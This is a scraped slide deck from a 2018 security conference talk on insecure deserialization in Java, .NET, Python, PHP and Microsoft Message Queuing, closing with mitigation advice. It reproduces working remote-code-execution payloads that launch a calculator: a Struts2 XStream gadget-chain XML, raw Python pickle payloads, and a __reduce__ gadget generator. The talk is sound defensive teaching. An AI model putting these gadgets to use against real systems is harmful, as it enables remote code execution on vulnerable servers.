SlideShare a Scribd company logo
(DE)SERIAL KILLERS
Dor Tumarkin
Intro to Serialization/Deserialization
Overview
In Code
Real-Life Scenarios
Languages, Frameworks, Exploitation
Java
.NET
Python
PHP?
Go?
Built-in Deserialization Attacks
Conclusions
Best Practices and Mitigation Basics
AGENDA
You’ll probably enjoy this most if you have:
Some familiarity with code
Fundamental exploitation
Chill regarding over-simplifications
The ability to GO FAST, because we gonna
ASSUMPTIONS
AppSec Researcher TL @ Checkmarx (2 yrs)
Formerly a Senior Consultant @ Cisco’s
COE – RT, PT (2.5 yrs)
7 years actively poking s*it until it
explodes
Father of one epic girl and one shaggy
doggo
Verbose AF
Opinions (and naughty words) are my own
and do not reflect my employer’s, obviously
ABOUT ME
DorTumarkin
Dor.Tumarkin@Checkmarx.com
"Serialization is the process of translating data
structures or object state into a format that
can be stored or transmitted and
reconstructed later."
- Wikipedia
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language native – specific for a language
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language Native – specific for a language
Generic – CSV, JSON, YAML, XML
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language Native – specific for a language
Generic – CSV, JSON, YAML, XML
Specialized – Protobuf, MessagePack, CBOR (Out of scope)
INTRO TO DESERIALIZATION
The serialized object can then be transmitted over a
network, stored in a file, written to a DB
Most standard serializers will work with all native
serializable data structures, which can, themselves,
often reference almost any class.
INTRO TO DESERIALIZATION
It’s kind of like making Soup in a Cup
You take a bowl of soup
And you dehydrate it into a powder
Checkmarx is not sponsored by any soup vendors
All rights belong to their respective owners
INTRO TO DESERIALIZATION
The powdered soup can then be stored, or
distributed
Want soup? Just add water!
DESERIALIZATION IN CODE
A basic example of Deserialization
in Java, using XStream, a very
popular XML serializer:
1. int id = 1;
2. String name = "John Doe";
3. String address = "1 Elm St.";
4. String[] items = new String[] {"Alarm Clock", "Baseball Bat"} ;
5. ATestingClass testingObj = new ATestingClass(id, name, address, items);
6. XStream xstream = new XStream();
7. System.out.println(xstream.toXML(testingObj));
DESERIALIZATION IN CODE
The console output is:
<ATestingClass>
<id>1</id>
<name>John Doe</name>
<address>1 Elm St.</address>
<items>
<string>Alarm Clock</string>
<string>Baseball Bat</string>
</items>
</ATestingClass>
This format can be easily transmitted, stored, etc.
DESERIALIZATION IN CODE
This object can then be reconstructed from the XML
XStream produced earlier:
1 ATestingClass newATestingClass =
2 (ATestingClass)xstream.fromXML(serializedATestingClass);
3
4 System.out.println(newATestingClass.getName());
Which would produces the following output:
John Doe
DESERIALIZATION CAVEATS
The most significant thing to
consider here is that a class must
be identical in types between
both source (serialized) and
destination (deserialized) –
otherwise, errors may occur
REAL WORLD USE CASES
APIs – for example, Struts2 Rest API
uses deserialization to convert XMLs to
objects
Saving current application state to a
file/DB
REAL WORLD USE CASES
Server-to-Server distributed workload -
e.g Pickling in Python is often
used to distribute workload
across processes and systems
Many more!
ISN’T SERIALIZATION
AMAZING??
Wait a minute...
Rewind a Bit
REAL WORLD USE CASES
Server-to-Server distributed workload -
e.g Pickling in Python is often
used to distribute workload
across processes and systems
Many more!
The serialized object can then be transmitted over a
network, stored in a file, written to a DB
Most standard serializers will work with all native
serializable data structures, which can, themselves,
often reference
INTRO TO DESERIALIZATION
almost any class.
LANGUAGES,
FRAMEWORKS,
EXPLOITATION
ACKNOWLEDGEMEN
TS
• Marshalling Pickles
• ysoserial
Chris Frohoff
• Friday the 13th JSON Attacks
• ysoserial.netObjectDataProvider
Oleksandr Mirosh
Alvaro Munoz
• Are You My Type? Breaking .NET Through
Serialization
• ysoserial.netTypeConfuseDelegate
James Forshaw
• Disclosing CVE-2017-9805 & Exploit Gadget Man Yue Mo
DESERIALIZATION EXPLOITATION DEMO
DESERIALIZATION EXPLOITATION DEMO
DESERIALIZATION EXPLOITATION DEMO
Struts2 CVE-2017-9805 REST-API-SHOWCASE Demo
DESERIALIZATION EXPLOITATION DEMO
Struts 2
Server
Struts 2
REST API
DESERIALIZATION EXPLOITATION DEMO
ProcessBuilder.start(“cmd”, “/c calc”)
DESERIALIZATION EXPLOITATION DEMO
EXPLOITATION – GO GO GADGET!
This is an example of an
Apache Commons based
gadget chain (more later)
Commons is very popular
Part of Struts2 already
Very difficult to detect with
heuristics
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value
class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource
class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator" />
<next class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/c</string>
<string>calc</string>
DESERIALIZATION EXPLOITATION DEMO
Let’s Check
the Server
DESERIALIZATION EXPLOITATION
What just happened…?
The naïve deserializer inside Struts2’s Rest
API (which is, again, XStream) does not
restrict which classes that can be
deserialized by XStream!
And calls the default XStream constructor:
DESERIALIZATION EXPLOITATION
This has since been fixed:
plugins/rest/src/main/java/org/apache/struts2/rest/handler/AllowedClassNames.java
EXPLOITATION – GO GO GADGET!
Gadget Chains are a nickname for
nested, serialized objects
Chains what deserialization does:
Sets instance variables
Instance methods are
automatically invoked
Init HashMap
Attack Payload
EXPLOITATION – STRUTS2 GADGET CALL FLOW
Key
.hashCode()
NativeString
.getStringValue()
CharSequence
.toString()
Base64Data
.toString()
Base64Data
.get()
(CipherInput
Stream)
InputStream
.read()
Cipher
.Update()
Cipher
.chooseFirst
Provider()
Iterative calls
to
Iterator.next()
new ProcessBuilder()
ProcessBuilder.start()
EXPLOITATION – GO GO GADGET!
They can become extremely difficult to design
Must live off the land - use available classes
Must parse
However- don’t always have to complete
deserialization
DESERIALIZATION EXPLOITATION DEMO
Consider the following code:
And the following object (in the same namespace as Order):
.NET GADGETS
.NET GADGETS
Working as intended!
.NET GADGETS
Cool.
But what would JsonConvert.DeserializeObject() do with
this guy?
ysoserial.net/ObjectDataProvider
DESERIALIZATION EXPLOITATION DEMO
(Order)JsonConvert.DeserializeObject()
Press Enter to
Parse Evil JSON
.NET GADGETS
“Safe” deserialization is possible:
Bad
.NET GADGETS
“Safe” deserialization is possible:
Implementation uses the generic notation as the
expected Type, and fails on time
Without it, anything gets deserialized
There are ways to have multiple types, of course
The bigger issue is – usage is vague
Good
.NET GADGETS
What exception was thrown?
Since casting was of the wrong object, an
exception occurred
TOO LATE
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Python Pickle Demo
UNTYPED DESERIALIZATION EXPLOITATION DEMO
(i__main__
Trade
p0
(dp1
S'userID'
p2
S'12345'
p3
sS'broker'
p4
S'John Doe'
p5
sb.
Consider the following Python code:
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Trade object
deserialized; broker
name is:John Doe
Next, consider deserialization:
DESERIALIZATION IN PYTHON
Strictly typed languages would
have an easier time at looking
ahead at classes during
construction
Untyped languages, on the other
hand…
DESERIALIZATION IN PYTHON
cposix
system
p1
((lp2
S'gnome-calculator'
p3
atRp4
.
cnt
system
p1
((lp2
S'calc.exe'
p3
atRp4
.
Windows Sample Linux Sample
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Unpickling
Code
Press Enter to
pickle.loads()
DESERIALIZATION IN PYTHON
Generating a Python gadget for pickles is simple:
__reduce__ provides the Pickle-able form of a method and
args tuple
Basically spring-loaded code injection bombs
class RunCalc(object):
def __reduce__(self):
return (os.system, (["calc.exe"],))
print pickle.dumps(RunGnomeCalc())
DESERIALIZATION IN UNTYPED LANGUAGES
PHP built-in deserialization is
very… specific?
Deserialization only triggers
specific magic methods
(__wakeup, __destruct)
Sets members without
constructor
DESERIALIZATION IN UNTYPED LANGUAGES
PHP’s own limitationsdesign saves it:
Built-in methods are actually “language
constructs”
Not part of any class
Essentially “white-lists” to custom classes
Can still be exploited under certain
conditions for many things, including RCE
…contextually, more-so than Java/.NET
POP QUIZ
How would deserialization in Go look like?
More or less complicated to exploit?
ROOT CAUSE
At this point some common threads are
very noticeable:
Deserialization streamlines object
construction from string/bytes
Dangerous IFF you naïvely deserialize
tainted inputs! Never trust those!
Remote naïve deserialization is super
dangerous, tons of RCE samples
ROOT CAUSE
But in many cases deserialization is
only local or trusted
And there are alternatives in APIs
Not like there are whole technologies
designed to distribute objects via
serialization, right?
EXPLOITING
DISTRIBUTED
SYSTEMS WITH BUILT-
IN DESERIALIZATION
MESSAGE QUEUES
AND
DESERIALIZATION
MESSAGE QUEUES
Message Queues literally distribute
messages via a queue
Agnostic MQs just send strings or bytes
(Rabbit, Kafka), which can be wrapped
with senders and receivers
DESERIALIZATION IN MESSAGE QUEUES
But some allow sending objects!
End-to-End:
Serialize
Publish
Subscribe
Deserialize
So… are end-to-end object MQs
basically an RCE delivery system?
DESERIALIZATION IN MESSAGE QUEUES
Java’s JMS is well documented as vulnerable
Many Java samples available
“Pwning Your Java Messaging” – BH2016, by Matthias Kaiser
public void onMessage(Message message) {
try {
ObjectMessage objectMessage = (ObjectMessage) message;
objectMessage.getObject(); //BOOM
DESERIALIZATION IN MESSAGE QUEUES
Begs the question - what about
.NET?
It has Microsoft Message Queue!
(MSMQ)
Ancient
Still in use though :D
DESERIALIZATION IN MESSAGE QUEUES
MSMQ Server is a
Windows Feature
Uses two object
serialization formatters:
XML
Binary
DESERIALIZATION IN MESSAGE QUEUES
Embarked on some Research™!
The only reference we found to these
formatters in a security context was:
DESERIALIZATION IN MESSAGE QUEUES
DESERIALIZATION IN MESSAGE QUEUES
MSMQ DEMO
MSMQ MSDN
Sample
https://msdn.microsoft.com/en-
us/library/system.messaging.binary
messageformatter(v=vs.110).aspx
MSMQ DEMO
Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
MSMQ EXPLOITATION DEMO
Basic MSMQ
Send & Receive
MSMQ EXPLOITATION DEMO
Malicious Message Sent
Press Enter to Receive…
DESERIALIZATION IN MESSAGE QUEUES
MSDN samples being dangerous isn’t
great
But is this enough? Is there
something a little more official?
Maybe it’s just bad because of
brevity?
MSMQ EXPLOITATION DEMO
MSMQ LargeMessageQueue Microsoft Sample Exploit Demo
https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples
/netds/messagequeuing/LargeMessageQueue
MSMQ EXPLOITATION DEMO
Sample Microsoft application for sending and receiving binary
MSMQ DEMO
Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
MSMQ EXPLOITATION DEMO
And Now to Receive…
MSMQ EXPLOITATION DEMO
BinaryMessageFormatter is set:
And as soon as you step over .Body…
MSMQ EXPLOITATION DEMO
Exploit utilizes ysoserial.netTypeConfuseDelegate gadget
as message body to attack .NET 4
https://github.com/Dor-Tumarkin/MSMQ-
BinaryMessageFormatter-Exploit-for-.NET-4.5
Also successfully modified the
ysoserial.netActivitySurrogateSelector gadget to work
with original target version, .NET 3.5
https://github.com/Dor-Tumarkin/MSMQ-
BinaryMessageFormatter-Exploit-for-.NET-3.5
DESERIALIZATION IN MSMQ
MSMQ with
BinaryMessageFormatter
(BMF):
Exploitable by default
Cannot explicitly set types
Intended for remote use
DESERIALIZATION IN MSMQ
In what scenarios is
BinaryMessageFormatter used?
Complex objects
Large messages
High-throughput
Not particularly common in open-source,
though
Observed traces in some middleware
implementations
Also in some workload distribution
code
DESERIALIZATION IN MSMQ
It is recommended in various
places, such as O’REILLY’s
“C# Cookbook” (2015 4th
Edition)
DESERIALIZATION IN MSMQ
Conclusion: DON’T READ BOOKS
Anyway, when confronted with a vulnerable sample:
DESERIALIZATION IN MSMQ
Anyway, when confronted with a vulnerable sample:
DESERIALIZATION IN MSMQ
DESERIALIZATION IN MSMQ
You know who were actually good
sports about it?
O’Reilly!
ADDITIONAL RISKS IN
DESERIALIZATION
84
DESERIALIZATION – OTHER DANGERS
Deserialization errors will
throw exceptions that may
hurt the flow of the
application.
DESERIALIZATION – OTHER DANGERS
In some languages or
implementations, the object is
built from reflection, or with
“default” language constructors
…possibly bypassing any setter
or constructor checks
DESERIALIZATION – OTHER DANGERS
In other words – can’t assume
anything about values and logic!
AN INDUSTRY
PERSPECTIVE
88
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Critical vulnerabilities found in:
WebLogic
WebSphere
JBoss
Jenkins
OpenNMS
Struts2
Liferay
Coldfusion
Multiple Cisco products
The list goes on.
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Part of OWASP Top 10 2017!
A8 – Insecure Deserialization
It’s technically “A1 – Injection”
in 2013, but got its own
category in 2017, particularly
with all that media buzz
(and industry tears)
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Remote Code Execution
“CVSS 10” Vulnerabilities
Complete CIA obliteration
Overwrite/Corrupt Objects
Exceptions, DoS
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
[Java] Serialization
was a horrible mistake
made in 1997 [1] Oracle is planning on
dropping serialization
support in Java.
This does not matter.
[1]-https://www.infoworld.com/article/3275924/java/oracle-
plans-to-dump-risky-java-serialization.html
MITIGATION:
DO`S AND
DO`SN`TS
93
WRONG WAYS TO MITIGATE
Catch exception from failed deserialization
Too late, possibly irrelevant, you lose.
WRONG WAYS TO MITIGATE
Assert correct type
Obviously too late
You lose again
ACTUAL MITIGATIONS
NEVER DESERIALIZE
UNTRUSTED DATA
In Untyped languages
With Untyped deserializers
Or dangerous types!
Choose a white-list
approach
ADDITIONAL MITIGATION STEPS
TEST your deserializers, even when
using well defined white-lists
TEST to fail before object creation
TEST if your deserializer goes
through setters and ctors!
If it doesn’t, re-implement logic
in deserialization
MITIGATION BY AVERSION
If you’re still paranoid, maybe build
your own data-to-constructor
transformer instead?
Poor performance 
Requires work 
Secure(?) 
CONCLUSIONS
Deserialization is kinda awesome
Too awesome?
Classic automagic!
Deserialization can be deadly
Still a lot of potential areas to explore
Never trust a deserializer – always test it
QUESTIONS?
<java.lang.String>
Thanks!
</java.lang.String>
DorTumarkin
Dor.Tumarkin@Checkmarx.com
github.com/Dor-Tumarkin/

More Related Content

Similar to (De)serial Killers - BSides Las Vegas & AppSec IL 2018

New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
owaspindia
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
Ferruh Mavituna
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developers
Tomer Zait
 
Python fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuanPython fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuan
Wei-Yuan Chang
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
fangjiafu
 
Interpolique
InterpoliqueInterpolique
Interpolique
Dan Kaminsky
 
Black ops of tcp2005 japan
Black ops of tcp2005 japanBlack ops of tcp2005 japan
Black ops of tcp2005 japan
Dan Kaminsky
 
All of javascript
All of javascriptAll of javascript
All of javascript
Togakangaroo
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Evil
jaredhaight
 
the productive programer: mechanics
the productive programer: mechanicsthe productive programer: mechanics
the productive programer: mechanics
elliando dias
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
Rob Fuller
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
sumsid1234
 
Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]
Vincent Batts
 
Interpolique
InterpoliqueInterpolique
Interpolique
Dan Kaminsky
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal Security
Mediacurrent
 
55 New Features in Java 7
55 New Features in Java 755 New Features in Java 7
55 New Features in Java 7
Boulder Java User's Group
 
55j7
55j755j7
55j7
swein2
 
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
Felipe Prado
 
Introduction to ida python
Introduction to ida pythonIntroduction to ida python
Introduction to ida python
geeksec80
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 

Similar to (De)serial Killers - BSides Las Vegas & AppSec IL 2018 (20)

New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developers
 
Python fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuanPython fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuan
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Black ops of tcp2005 japan
Black ops of tcp2005 japanBlack ops of tcp2005 japan
Black ops of tcp2005 japan
 
All of javascript
All of javascriptAll of javascript
All of javascript
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Evil
 
the productive programer: mechanics
the productive programer: mechanicsthe productive programer: mechanics
the productive programer: mechanics
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal Security
 
55 New Features in Java 7
55 New Features in Java 755 New Features in Java 7
55 New Features in Java 7
 
55j7
55j755j7
55j7
 
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
 
Introduction to ida python
Introduction to ida pythonIntroduction to ida python
Introduction to ida python
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 

Recently uploaded

HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
panagenda
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Alpen-Adria-Universität
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
Jason Packer
 
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving
 
“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...
“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...
“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...
Edge AI and Vision Alliance
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
DianaGray10
 
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
Alex Pruden
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
Chart Kalyan
 
Mutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented ChatbotsMutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented Chatbots
Pablo Gómez Abajo
 
Astute Business Solutions | Oracle Cloud Partner |
Astute Business Solutions | Oracle Cloud Partner |Astute Business Solutions | Oracle Cloud Partner |
Astute Business Solutions | Oracle Cloud Partner |
AstuteBusiness
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
akankshawande
 
"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota
Fwdays
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
Jakub Marek
 
Generating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and MilvusGenerating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and Milvus
Zilliz
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
Javier Junquera
 
The Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptxThe Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptx
operationspcvita
 
Digital Banking in the Cloud: How Citizens Bank Unlocked Their Mainframe
Digital Banking in the Cloud: How Citizens Bank Unlocked Their MainframeDigital Banking in the Cloud: How Citizens Bank Unlocked Their Mainframe
Digital Banking in the Cloud: How Citizens Bank Unlocked Their Mainframe
Precisely
 
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge GraphGraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
Neo4j
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Safe Software
 

Recently uploaded (20)

HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
 
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024
 
“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...
“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...
“Temporal Event Neural Networks: A More Efficient Alternative to the Transfor...
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
 
Artificial Intelligence and Electronic Warfare
Artificial Intelligence and Electronic WarfareArtificial Intelligence and Electronic Warfare
Artificial Intelligence and Electronic Warfare
 
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
 
Mutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented ChatbotsMutation Testing for Task-Oriented Chatbots
Mutation Testing for Task-Oriented Chatbots
 
Astute Business Solutions | Oracle Cloud Partner |
Astute Business Solutions | Oracle Cloud Partner |Astute Business Solutions | Oracle Cloud Partner |
Astute Business Solutions | Oracle Cloud Partner |
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
 
"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota"Choosing proper type of scaling", Olena Syrota
"Choosing proper type of scaling", Olena Syrota
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
 
Generating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and MilvusGenerating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and Milvus
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
 
The Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptxThe Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptx
 
Digital Banking in the Cloud: How Citizens Bank Unlocked Their Mainframe
Digital Banking in the Cloud: How Citizens Bank Unlocked Their MainframeDigital Banking in the Cloud: How Citizens Bank Unlocked Their Mainframe
Digital Banking in the Cloud: How Citizens Bank Unlocked Their Mainframe
 
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge GraphGraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
GraphRAG for LifeSciences Hands-On with the Clinical Knowledge Graph
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
 

(De)serial Killers - BSides Las Vegas & AppSec IL 2018